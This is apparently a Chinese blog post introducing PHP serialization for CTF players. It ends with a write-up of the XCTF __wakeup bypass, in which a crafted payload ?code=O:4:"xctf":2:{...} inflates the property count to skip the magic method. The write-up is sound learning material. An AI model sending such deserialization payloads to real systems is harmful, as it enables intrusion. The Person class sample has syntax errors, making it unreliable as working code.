现在在ctf比赛中PHP的反序列题目出得有一些多,当然,是我感觉的 emmm 之前没有怎么好好去了解这个问题 碰到这类题目的时候都是代码好的同学在做 然后这段时间看了一下这些东西 就写一些东西吧 自己的想法
——————————————————————————分割线————————————————————————————
首先 什么是序列化
在php中序列话原名叫串行化 又叫序列化
对象也是一种在内存中存储的数据类型,他的寿命通常随着生成该对象的程序终止而终止。有时候可能需要将对象的状态保存下来,需要时再将对象恢复。对象通过写出描述自己状态的数值来记录自己,这个过程称对象的串行化
1、什么是变量序列化
1)序列化是将变量转换为可保存或传输的字符串的过程;
2)反序列化就是在适当的时候把这个字符串再转化成原来的变量使用;
3)这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性;
4)序列化有利于存储或传递 PHP 的值,同时不丢失其类型和结构
再简单点 序列化就类比于你把一架完好的飞机 给带回家 但是现在飞机没有油 又没有那么大的车 你只能拆掉 然后一部分一部分的运回去 反序列化就是回去重新组装一下
给一个例子
class Person {
public $name;
public $age;
public $sex;
function __construct($name, $age, $sex) {
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
function say() {
echo "我的名字是:($this->name),我的年龄是($this->age),我的性别是($this->sex")
}
$a= new Person(xxx,21,男);
echo $a->say();
这样会输出say方法的内容
但是我想在另一个地方也用这个方法怎么办呢
把刚才的那个php文件给保存起来 叫做1.php
然后新建一个php文件 叫做2.php
include "1.php"; //将源php给包含进去
$b = new Person(xxx,21,男) ;//实例化 这时候你要是输出 echo $b->say() 照样可以用
$str = serialize($b) ;//将内容全部字符化
serialize函数用于序列化对象或者数组,并且返回一串字符串,这个字符串方便传递
file_put_contents("text.txt",$str); //将这些全部给放到text.txt文件中
然后打开会看到一串乱码 这就是字符化之后的对象
传递之后,要把字符串给反序列化为原始的对象结构
include "1.php"
$str = file_get_contents("text.txt"); //从文件中读出字符串
然后反序列化
$c=unserialize($str)
echo $c->say();
又可以输出之前的内容了
好的,现在讲一道ctf的题
定义了一个xctf的类 属性是$flag=111 但是出现了一个魔术方法 百度了一下_wakeup()执行漏洞
如果存在魔术方法_wakeup() 反序列化时会首先调用它 但是如果它的属性被修改了 就不会调用它
所以应该就是利用_wakeup漏洞拿flag
实例化这个类
$a=new xctf (code)
$str=serialize($a)
echo $str
发现得到O:4:"xctf":1:{s:4:"flag";s:3:"111";} 序列化之后的字符串
只要删掉xctf":1的那个1 把它改成大于一的数字就可以 1是属性的数量
对其传参?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";} 拿到flag
php的东西颇多 用的东西也多 以后还会放一些PHP反序列化的东西